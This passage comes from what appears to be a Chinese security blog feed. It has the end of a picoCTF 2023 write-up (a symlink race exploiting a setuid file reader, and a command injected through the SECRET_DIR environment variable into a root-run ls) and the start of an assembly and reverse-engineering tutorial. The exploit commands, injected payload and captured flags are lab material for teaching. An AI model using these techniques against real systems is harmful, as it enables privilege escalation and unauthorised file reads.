RENAME_EXCHANGE);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//gcc race.c -o race</span></span><br></pre></td></tr></table></figure><p>這個時候我們已經具備了我們所需要的條件，執行以下指令讓攻擊碼跑起來。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ctf-player@pico-chall$ ./race asd flag</span><br></pre></td></tr></table></figure><p>我們開啟另一個視窗去觀察軟連結的狀態：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">ctf-player@pico-chall$ ls -alh</span><br><span class="line">total 56K</span><br><span class="line">drwxr-xr-x 1 ctf-player ctf-player  83 Mar 30 09:20 .</span><br><span class="line">drwxr-xr-x 1 root       root        24 Mar 16 02:27 ..</span><br><span class="line">drwx------ 2 ctf-player ctf-player  34 Mar 30 09:18 .cache</span><br><span class="line">drwxrwxr-x 3 ctf-player ctf-player  19 Mar 30 09:18 .local</span><br><span class="line">-rw-r--r-- 1 root       root        67 Mar 16 02:28 .profile</span><br><span class="line">lrwxrwxrwx 1 ctf-player ctf-player   8 Mar 30 09:19 asd -&gt; flag.txt</span><br><span class="line">-rw-rw-r-- 1 ctf-player ctf-player   0 Mar 30 09:19 flag</span><br><span class="line">-rw------- 1 root       root        32 Mar 16 02:28 flag.txt</span><br><span class="line">-rwxrwxr-x 1 ctf-player ctf-player 17K Mar 30 09:18 race</span><br><span class="line">-rw-rw-r-- 1 ctf-player ctf-player 295 Mar 30 09:18 race.c</span><br><span class="line">-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp</span><br><span class="line">-rwsr-xr-x 1 root       root       19K Mar 16 02:28 txtreader</span><br><span class="line">ctf-player@pico-chall$ ls -alh</span><br><span class="line">ls: cannot read symbolic link &#x27;flag&#x27;: Invalid argument</span><br><span class="line">ls: cannot read symbolic link &#x27;asd&#x27;: Invalid argument</span><br><span class="line">total 56K</span><br><span class="line">drwxr-xr-x 1 ctf-player ctf-player  83 Mar 30 09:20 .</span><br><span class="line">drwxr-xr-x 1 root       root        24 Mar 16 02:27 ..</span><br><span class="line">drwx------ 2 ctf-player ctf-player  34 Mar 30 09:18 .cache</span><br><span class="line">drwxrwxr-x 3 ctf-player ctf-player  19 Mar 30 09:18 .local</span><br><span class="line">-rw-r--r-- 1 root       root        67 Mar 16 02:28 .profile</span><br><span class="line">lrwxrwxrwx 1 ctf-player ctf-player   8 Mar 30 09:19 asd</span><br><span class="line">lrwxrwxrwx 1 ctf-player ctf-player   8 Mar 30 09:19 flag</span><br><span class="line">-rw------- 1 root       root        32 Mar 16 02:28 flag.txt</span><br><span class="line">-rwxrwxr-x 1 ctf-player ctf-player 17K Mar 30 09:18 race</span><br><span class="line">-rw-rw-r-- 1 ctf-player ctf-player 295 Mar 30 09:18 race.c</span><br><span class="line">-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp</span><br><span class="line">-rwsr-xr-x 1 root       root       19K Mar 16 02:28 txtreader</span><br><span class="line">ctf-player@pico-chall$ ls -alh</span><br><span class="line">total 56K</span><br><span class="line">drwxr-xr-x 1 ctf-player ctf-player  83 Mar 30 09:20 .</span><br><span class="line">drwxr-xr-x 1 root       root        24 Mar 16 02:27 ..</span><br><span class="line">drwx------ 2 ctf-player ctf-player  34 Mar 30 09:18 .cache</span><br><span class="line">drwxrwxr-x 3 ctf-player ctf-player  19 Mar 30 09:18 .local</span><br><span class="line">-rw-r--r-- 1 root       root        67 Mar 16 02:28 .profile</span><br><span class="line">-rw-rw-r-- 1 ctf-player ctf-player   0 Mar 30 09:19 asd</span><br><span class="line">lrwxrwxrwx 1 ctf-player ctf-player   8 Mar 30 09:19 flag -&gt; flag.txt</span><br><span class="line">-rw------- 1 root       root        32 Mar 16 02:28 flag.txt</span><br><span class="line">-rwxrwxr-x 1 ctf-player ctf-player 17K Mar 30 09:18 race</span><br><span class="line">-rw-rw-r-- 1 ctf-player ctf-player 295 Mar 30 09:18 race.c</span><br><span class="line">-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp</span><br><span class="line">-rwsr-xr-x 1 root       root       19K Mar 16 02:28 txtreader</span><br></pre></td></tr></table></figure><p>可以發現他的指向一直在改變，那我們用<code>txtreader</code>讀<code>flag</code>，就有$\dfrac{1}{2}$的機率可以讀到<code>flag.txt</code>的內容，如下所示：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ctf-player@pico-chall$ ./txtreader flag</span><br><span class="line">ctf-player@pico-chall$ ./txtreader flag</span><br><span class="line">picoCTF&#123;ToctoU_!s_3a5y_f482a247&#125;</span><br></pre></td></tr></table></figure><h2 id="VNE"><a href="#VNE" class="headerlink" title="VNE"></a>VNE</h2><div class="note warning flat"><p>AUTHOR: JUNIAS BONOU</p><p>Description<br>We’ve got a binary that can list directories as root, try it out !!<br><strong>200 Points</strong></p></div><p>這題標籤上面寫著env、injection，看來是跟injection有關的題目，一樣進去看看他有什麼東西可以利用。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">$ ssh ctf-player@saturn.picoctf.net -p 54891</span><br><span class="line">ctf-player@saturn.picoctf.net&#x27;s password:</span><br><span class="line">Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.15.0-1031-aws x86_64)</span><br><span class="line"></span><br><span class="line"> * Documentation:  https://help.ubuntu.com</span><br><span class="line"> * Management:     https://landscape.canonical.com</span><br><span class="line"> * Support:        https://ubuntu.com/advantage</span><br><span class="line"></span><br><span class="line">This system has been minimized by removing packages and content that are</span><br><span class="line">not required on a system that users do not log into.</span><br><span class="line"></span><br><span class="line">To restore this content, you can run the &#x27;unminimize&#x27; command.</span><br><span class="line">Last login: Thu Mar 30 09:56:09 2023 from 127.0.0.1</span><br><span class="line">ctf-player@pico-chall$ ls -al</span><br><span class="line">total 28</span><br><span class="line">drwxr-xr-x 1 ctf-player ctf-player    41 Mar 30 09:56 .</span><br><span class="line">drwxr-xr-x 1 root       root          24 Mar 16 01:59 ..</span><br><span class="line">-rw------- 1 ctf-player ctf-player    21 Mar 30 09:56 .bash_history</span><br><span class="line">drwx------ 2 ctf-player ctf-player    34 Mar 30 09:56 .cache</span><br><span class="line">-rw-r--r-- 1 root       root          67 Mar 16 01:59 .profile</span><br><span class="line">-rwsr-xr-x 1 root       root       18752 Mar 16 01:59 bin</span><br><span class="line">ctf-player@pico-chall$ ./bin</span><br><span class="line">Error: SECRET_DIR environment variable is not set</span><br></pre></td></tr></table></figure><p>執行的時候說<code>SECRET_DIR</code>沒有設定，看起來應該是要設定路徑的名稱，馬上來試試看。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ctf-player@pico-chall$ export SECRET_DIR=/</span><br><span class="line">ctf-player@pico-chall$ ./bin</span><br><span class="line">Listing the content of / as root:</span><br><span class="line">bin   challenge  etc   lib    lib64   media  opt   root  sbin  sys  usr</span><br><span class="line">boot  dev        home  lib32  libx32  mnt    proc  run   srv   tmp  var</span><br></pre></td></tr></table></figure><p>看起來是個用root權限執行<code>ls</code>的檔案，但我們要讀取的話怎麼辦呢?他的指令看起來是類似於<code>ls &lt;SECRET_DIR&gt;</code>的結構，因此我們只要在SECRET_DIR裡面動手腳，或許就能讀取東西了，如下所示，成功獲得flag：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">ctf-player@pico-chall$ export SECRET_DIR=&quot;/;cat /challenge/metadata.json&quot;</span><br><span class="line">ctf-player@pico-chall$ ./bin</span><br><span class="line">Listing the content of /;cat /challenge/metadata.json as root:</span><br><span class="line">bin   challenge  etc   lib    lib64   media  opt   root  sbin  sys  usr</span><br><span class="line">boot  dev        home  lib32  libx32  mnt    proc  run   srv   tmp  var</span><br><span class="line">&#123;&quot;flag&quot;: &quot;picoCTF&#123;Power_t0_man!pul4t3_3nv_1670f174&#125;&quot;, &quot;password&quot;: &quot;3f39b042&quot;&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;這次打picoCTF沒有升學壓力，相對2022也解了更多題(除了一些通靈題QAQ)，這次賽中解出了&lt;strong&gt;36/45&lt;/strong&gt;題，最後的名次是&lt;strong&gt;Global 200/6925、Undergraduate Student 59/2464&lt;/str</summary>
      
    
    
    
    <category term="CTF" scheme="http://blog.albert-web.tw/categories/CTF/"/>
    
    
    <category term="Security" scheme="http://blog.albert-web.tw/tags/Security/"/>
    
    <category term="CTF" scheme="http://blog.albert-web.tw/tags/CTF/"/>
    
    <category term="Education" scheme="http://blog.albert-web.tw/tags/Education/"/>
    
    <category term="picoCTF" scheme="http://blog.albert-web.tw/tags/picoCTF/"/>
    
  </entry>
  
  <entry>
    <title>CTF系列-Reverse Engineering逆向工程基礎I</title>
    <link href="http://blog.albert-web.tw/2023/01/30/ctf-reverse-1/"/>
    <id>http://blog.albert-web.tw/2023/01/30/ctf-reverse-1/</id>
    <published>2023-01-30T13:44:27.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>Reverse是CTF競賽中算是相對困難度高的一個類別，基於其比較偏向電腦底層的部分，因此相對不會像之前的Web與Crypto類別那麼直覺，除了二進位檔案的靜態與動態分析，組合語言(assembly)也會是其中一個重點學習的部分，因此這裡也會先介紹一些需要知道的組合語言知識。歡迎各位來訊說明或補充筆者不足的部分喔!🤗</p><h1 id="Basic-Assembly"><a href="#Basic-Assembly" class="headerlink" title="Basic Assembly"></a>Basic Assembly</h1><p>組合語言會大量出現在Reverse的情境當中，實際生活中的逆向工程也會需要讀組合語言來判斷程式流程，因此這裡會先介紹組合語言所需要具備的基礎能力。組合語言是為了解決指令集極不易讀的特性而產生，以類似人類語言的方式來描述指令集。事實上組合語言出現得比C/C++等高階語言更早，因此利用組合語言編寫程式也是可行的。</p><h2 id="x86-vs-ARM"><a href="#x86-vs-ARM" class="headerlink" title="x86 vs. ARM"></a>x86 vs. ARM</h2><p><strong>x86</strong>事實上泛指一群Intel公司發行向下相容的指令集處理器，包含<strong>Intel 8086、80186、80286、80386、80486</strong>，原先的縮寫是<strong>80x86</strong>，後來基於方便因此直接寫成x86。它是複雜指令集電腦(CISC)的代表，而後續又在Intel公司的推行下出現了從32bit擴充到64bit的AMD64，也可稱為x86-64。目前一般電腦都是採用此種處理器。</p><p>而<strong>ARM</strong>則可以被認為是相對於x86的另一種處理器，因為他所屬集合的是IBM在1974年提出的簡化指令集電腦(RISC)，目的在於簡化與減少指令。基於RISC所消耗的資源較少，效率又較高，因此通常行動裝置，包含iOS與Android都使用此類處理器。近年來因為CISC與RISC的相互競爭，兩者在指令集架構上已經非常接近。</p><p>此外，CISC與RISC在處理上還有一個非常重要的不同，在於<strong>RISC能夠完全使用暫存器(register，稍後說明)來傳遞參數，但CISC僅能將資料儲存在堆疊(stack)上傳遞</strong>。</p><h2 id="Intel-vs-AT-amp-T-syntax"><a href="#Intel-vs-AT-amp-T-syntax" class="headerlink" title="Intel vs. AT&amp;T syntax"></a>Intel vs. AT&amp;T syntax</h2><p>這兩者都是x86/AMD64之下的語法風格，讀者能夠以自己容易瞭解的方向來選擇，筆者本人較常使用Intel風格。Intel風格是跟著第一代的Intel處理器8086產生，主要是Intel公司認為使用機器碼對人類的可讀性極低，其風格主要有16進位使用<code>h</code>結尾、間接位址使用<code>[]</code>表示等。</p><p>而AT&amp;T公司則是由貝爾實驗室而來，基於作為C與Linux的發源地，他們決定不採用Intel風格，自創一個AT&amp;T風格。這種風格在Linux系統中廣為使用，包含gdb、objdump等工具都預設採用AT&amp;T風格，其風格主要有暫存器前有<code>%</code>符號、16進位使用<code>0x</code>開頭、間接位址使用<code>()</code>表示等。詳細較重要差異可參考<a href="https://zh.wikipedia.org/zh-tw/%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80">以下表格</a>：</p><table><thead><tr><th align="center"></th><th align="center">Intel</th><th align="center">AT&amp;T</th></tr></thead><tbody><tr><td align="center">運算元(Operant)順序</td><td align="center">目標運算元在前</td><td align="center">來源運算元在前</td></tr><tr><td align="center">Register</td><td align="center">不變</td><td align="center"><code>%</code>字首</td></tr><tr><td align="center">立即數</td><td align="center">不變</td><td align="center"><code>$</code>字首</td></tr><tr><td align="center">16進位立即數</td><td align="center">字尾加上<code>h</code></td><td align="center">字首加上<code>0x</code></td></tr><tr><td align="center">記憶體長度存取</td><td align="center"><strong>BYTE PTR、WORD PTR、DWORD PTR、QWORD PTR</strong>開頭分別代表<strong>位元組(8bit，char)、字(16bit，short)、雙字(32bit，int)、四字(64bit，long)</strong></td><td align="center"><strong>b、w、l、q</strong>結尾分別代表<strong>位元組(8bit，char)、字(16bit，short)、雙字(32bit，int)、四字(64bit，long)</strong></td></tr><tr><td align="center">變數取值</td><td align="center"><code>[var]</code></td><td align="center"><code>var</code></td></tr><tr><td align="center">變數取位址</td><td align="center"><code>var</code></td><td align="center"><code>$var</code></td></tr></tbody></table><p>以下是一個相同檔案<code>hello.c</code>利用兩種語法風格產生的<code>main</code>函數組合語言，可比較其中差異：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">//Intel</span><br><span class="line">0000000000001149 &lt;main&gt;:</span><br><span class="line">    1149:       f3 0f 1e fa             endbr64</span><br><span class="line">    114d:       55                      push   rbp</span><br><span class="line">    114e:       48 89 e5                mov    rbp,rsp</span><br><span class="line">    1151:       48 8d 3d ac 0e 00 00    lea    rdi,[rip+0xeac]        # 2004 &lt;_IO_stdin_used+0x4&gt;</span><br><span class="line">    1158:       e8 f3 fe ff ff          call   1050 &lt;puts@plt&gt;</span><br><span class="line">    115d:       b8 00 00 00 00          mov    eax,0x0</span><br><span class="line">    1162:       5d                      pop    rbp</span><br><span class="line">    1163:       c3                      ret</span><br><span class="line">    1164:       66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]</span><br><span class="line">    116b:       00 00 00</span><br><span class="line">    116e:       66 90                   xchg   ax,ax</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">//AT&amp;T</span><br><span class="line">0000000000001149 &lt;main&gt;:</span><br><span class="line">    1149:       f3 0f 1e fa             endbr64</span><br><span class="line">    114d:       55                      push   %rbp</span><br><span class="line">    114e:       48 89 e5                mov    %rsp,%rbp</span><br><span class="line">    1151:       48 8d 3d ac 0e 00 00    lea    0xeac(%rip),%rdi        # 2004 &lt;_IO_stdin_used+0x4&gt;</span><br><span class="line">    1158:       e8 f3 fe ff ff          callq  1050 &lt;puts@plt&gt;</span><br><span class="line">    115d:       b8 00 00 00 00          mov    $0x0,%eax</span><br><span class="line">    1162:       5d                      pop    %rbp</span><br><span class="line">    1163:       c3                      retq</span><br><span class="line">    1164:       66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)</span><br><span class="line">    116b:       00 00 00</span><br><span class="line">    116e:       66 90                   xchg   %ax,%ax</span><br></pre></td></tr></table></figure><h2 id="Registers"><a href="#Registers" class="headerlink" title="Registers"></a>Registers</h2><p>通用暫存器根據位元數的不同，也會有不同的變化，如<a href="https://www.cs.uaf.edu/2017/fall/cs301/lecture/09_11_registers.html">下表</a>所示：</p><p><img src="https://i.imgur.com/u7GXzq3.png"></p><p>其中不同位元下所占用的位置如下所示，在此以RAX作為範例：</p><p><img src="https://i.imgur.com/l7Tbfub.png"></p><p>一些比較特別的暫存器如下，這些方法是由Intel所定義的暫存器<strong>傳統</strong>：</p><ul><li><code>rax</code>：預設存放函式或數學運算的回傳值</li><li>stack operation<ul><li><code>rsp</code>：stack pointer，指向堆疊的頂端(top)</li><li><code>rbp</code>：base pointer，指向堆疊的底部(bottom)</li><li><code>rip</code>：instruction pointer，會存放接下來程式要跳轉的位址</li></ul></li><li>string operation<ul><li><code>rsi</code>：source，通常用於字串處理，存放來源字串的位址</li><li><code>rdi</code>：destination，通常用於字串處理，存放目的地字串的位址</li><li><code>rcx</code>：counter，loop或其他函數的計數器</li></ul></li></ul><h2 id="Statements"><a href="#Statements" class="headerlink" title="Statements"></a>Statements</h2><p>組合語言有一些自己特定的指令來對暫存器進行處理，以下會逐一說明。</p><h3 id="MOV-move"><a href="#MOV-move" class="headerlink" title="MOV (move)"></a>MOV (move)</h3><p>MOV是最常用於組合語言的指令之一，用於變數賦值，如下所示，後方為轉換成較易理解的形式：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mov eax, ecx             ; eax = ecx</span><br><span class="line">mov eax, 0x12345678      ; eax = 0x12345678</span><br><span class="line">mov qword ptr [rdi], rax ; *(rdi) = rax</span><br></pre></td></tr></table></figure><div class="note success flat"><p><code>mov</code>已被證明理論上是圖靈完備的，因此可以完全以<code>mov</code>完成一個程式。<br>P.S. 但很少人會做那麼無聊的事情，又很難讀XD</p></div><h3 id="ADD-add"><a href="#ADD-add" class="headerlink" title="ADD (add)"></a>ADD (add)</h3><p>ADD是相加指令，會將相同長度的運算元進行相加操作，如下所示：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mov eax, 0x100 ; eax = 0x100</span><br><span class="line">add eax, 0x300 ; eax += 0x300</span><br><span class="line">; eax = 0x400</span><br></pre></td></tr></table></figure><h3 id="SUB-subtract"><a href="#SUB-subtract" class="headerlink" title="SUB (subtract)"></a>SUB (subtract)</h3><p>SUB與ADD相反，作為相減指令，會將相同長度的運算元進行相減操作，如下所示：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mov eax, 0x300 ; eax = 0x300</span><br><span class="line">sub eax, 0x200 ; eax -= 0x200</span><br><span class="line">; eax = 0x100</span><br></pre></td></tr></table></figure><h3 id="MUL-multiplicate-amp-DIV-divide"><a href="#MUL-multiplicate-amp-DIV-divide" class="headerlink" title="MUL (multiplicate) &amp; DIV (divide)"></a>MUL (multiplicate) &amp; DIV (divide)</h3><p>MUL是乘法指令，DIV則是除法指令，這兩項指令所產生的回傳值預設會存回到<code>rax</code>暫存器。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">mov eax, 0x900 ; eax = 0x900</span><br><span class="line">mul eax, 0x64  ; eax *= 0x64</span><br><span class="line">; eax = 0x38400</span><br><span class="line">div eax, 0x120 ; eax /= 0x120</span><br><span class="line">; eax = 0x320</span><br></pre></td></tr></table></figure><h3 id="JMP-jump-amp-LOOP-loop"><a href="#JMP-jump-amp-LOOP-loop" class="headerlink" title="JMP (jump) &amp; LOOP (loop)"></a>JMP (jump) &amp; LOOP (loop)</h3><p>JMP是跳躍指令，跳躍分為無條件跳躍與條件跳躍，無條件跳躍為無論暫存器為何值一律跳躍，而條件跳躍則會利用cmp等指令來確定暫存器的值後，再根據條件決定要跳躍到何處。JMP本身是無條件跳躍指令，單獨遇到JMP會直接跳躍到指定的位置。如下所示：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jmp 0x400136 ; call 0x400136</span><br></pre></td></tr></table></figure><p>我們也能使用JMP創造LOOP迴圈的功能，但需要使用其他方式退出，否則僅使用JMP將會製造無窮迴圈。</p><p>而LOOP指令則是正規用來創建迴圈的指令，其中前面提到<code>cx</code>將會是其之計數器，先將<code>cx</code>設為迴圈執行的次數後，每執行一次迴圈，一開始<code>cx</code>即會減一，並與<code>0</code>進行<code>cmp</code>，若<code>cx</code>為零則不跳躍，否則跳到指定的地方。需要注意的是，若一開始將<code>cx</code>的值設為<code>0</code>，則減一後發生溢位(overflow)會成為<code>0xFFFFFFFF</code>，會使迴圈不依照原始的狀況跑，必須特別留意。使用情況如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">mov ax, 0x0  ; ax = 0x0</span><br><span class="line">mov ecx, 0xa ; ecx = 0xa</span><br><span class="line">L1:</span><br><span class="line">inc ax       ; ax++</span><br><span class="line">loop L1      ; loop</span><br><span class="line">; ax = 0xa</span><br></pre></td></tr></table></figure><p>至於有條件跳躍指令可就多了，依照不同的暫存器比較會有不同的結果，以下表格列出了所有可能的JMP相關指令：</p><p><img src="https://i.imgur.com/slk1DPY.png"></p><h2 id="Stack"><a href="#Stack" class="headerlink" title="Stack"></a>Stack</h2><p>Stack是記憶體中一段確定的區域(這部分在pwn會介紹較多，這裡先簡單說明)，堆疊有分為高位址(high memory address)與低位址(low memory address)，在程式執行時堆疊的資料會由高位址往低位址堆疊，由上往下堆的型態與一般認定的堆疊概念不太相同，如下所示：</p><p><img src="https://i.imgur.com/AlRCVls.png"></p><p>而stack中最常使用到的指令便是<code>push</code>與<code>pop</code>了，<code>push</code>會將資料推進堆疊，<code>pop</code>則會將stack最上層的資料從堆疊中移出。而負責控管他們的暫存器有三個，以64位元而言有<code>rsp</code>、<code>rbp</code>及<code>rip</code>，前面有提過<code>rsp</code>會指向目前堆疊的頂端，<code>rbp</code>會指向底端，而<code>rip</code>則會指向目前執行到程式的位址，並在外部函數準備跳回原本函數時，將存在堆疊上的位址套用到自己身上，完成跳回繼續執行的動作(pwn部分解釋)。</p><div class="note warning flat"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">endbr64</span><br><span class="line">push   rbp</span><br><span class="line">mov    rbp,rsp</span><br></pre></td></tr></table></figure><p>組合語言在函式的開始通常會有這樣初始化的動作，會將<code>rsp</code>與<code>rbp</code>都先還原到同一個位置，接著<code>rsp</code>持續上長，<code>rbp</code>則留在原處，框出目前正在處理的stack區域。</p></div><h2 id="統整"><a href="#統整" class="headerlink" title="統整"></a>統整</h2><p>組合語言根據不同的需求還有許多不同的相關指令，但因為不太會出現在CTF中，就不在這裡多介紹，想要參考更多的讀者可以根據需求尋找不同功能的指令來進行使用。想要直接讀懂組合語言需要長久的練習與精熟度，因此這個部分請務必好好弄懂!</p><h1 id="二進位檔案-Binary"><a href="#二進位檔案-Binary" class="headerlink" title="二進位檔案(Binary)"></a>二進位檔案(Binary)</h1><p>二進位檔案通常會被稱為binary，通指包含ASCII及擴充ASCII字元中編寫資料或程式指令(instructions)的檔案，這裡以Linux系統內最常見的<code>.elf</code>檔案，搭配預設編譯器<code>gcc</code>指令來進行說明。一般而言編譯的過程包含六大步驟：**原始碼(source code)<strong>、</strong>預處理器(preprocessor)<strong>、</strong>編譯器(compiler)<strong>、</strong>組譯器(assembler)<strong>、</strong>連結器(linker)以及可執行檔(executable)**。以下以一個實際的案例來實作：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//hello.c</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Hello, World!\n&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>將其利用<code>gcc</code>指令編譯，指令如下，其中<code>-save-temps</code>會將編譯過程中的中間檔案保存，<code>--verbose</code>能夠看到詳細資訊：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">$ gcc hello.c -o hello -save-temps --verbose</span><br><span class="line">...</span><br><span class="line"> /usr/lib/gcc/x86_64-linux-gnu/9/cc1 -E -quiet -v -imultiarch x86_64-linux-gnu hello.c -mtune=generic -march=x86-64 -fpch-preprocess -fasynchronous-unwind-tables -fstack-protector-strong -Wformat -Wformat-security -fstack-clash-protection -fcf-protection -o hello.i</span><br><span class="line">...</span><br><span class="line"> /usr/lib/gcc/x86_64-linux-gnu/9/cc1 -fpreprocessed hello.i -quiet -dumpbase hello.c -mtune=generic -march=x86-64 -auxbase hello -version -fasynchronous-unwind-tables -fstack-protector-strong -Wformat -Wformat-security -fstack-clash-protection -fcf-protection -o hello.s</span><br><span class="line">...</span><br><span class="line"> as -v --64 -o hello.o hello.s</span><br><span class="line">...</span><br><span class="line"> /usr/lib/gcc/x86_64-linux-gnu/9/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/9/liblto_plugin.so -plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper -plugin-opt=-fresolution=hello.res -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_s -plugin-opt=-pass-through=-lc -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_s --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o hello /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/9/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/9 -L/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/9/../../.. hello.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/9/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/crtn.o</span><br><span class="line">...</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">hello hello.c hello.i hello.o hello.s</span><br><span class="line">$ ./hello</span><br><span class="line">Hello, World!</span><br></pre></td></tr></table></figure><h2 id="Preprocessor"><a href="#Preprocessor" class="headerlink" title="Preprocessor"></a>Preprocessor</h2><p>其中可以看到，<code>hello.c</code>先被preprocessor處理成<code>hello.i</code>，我們來看看<code>hello.i</code>的內容：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 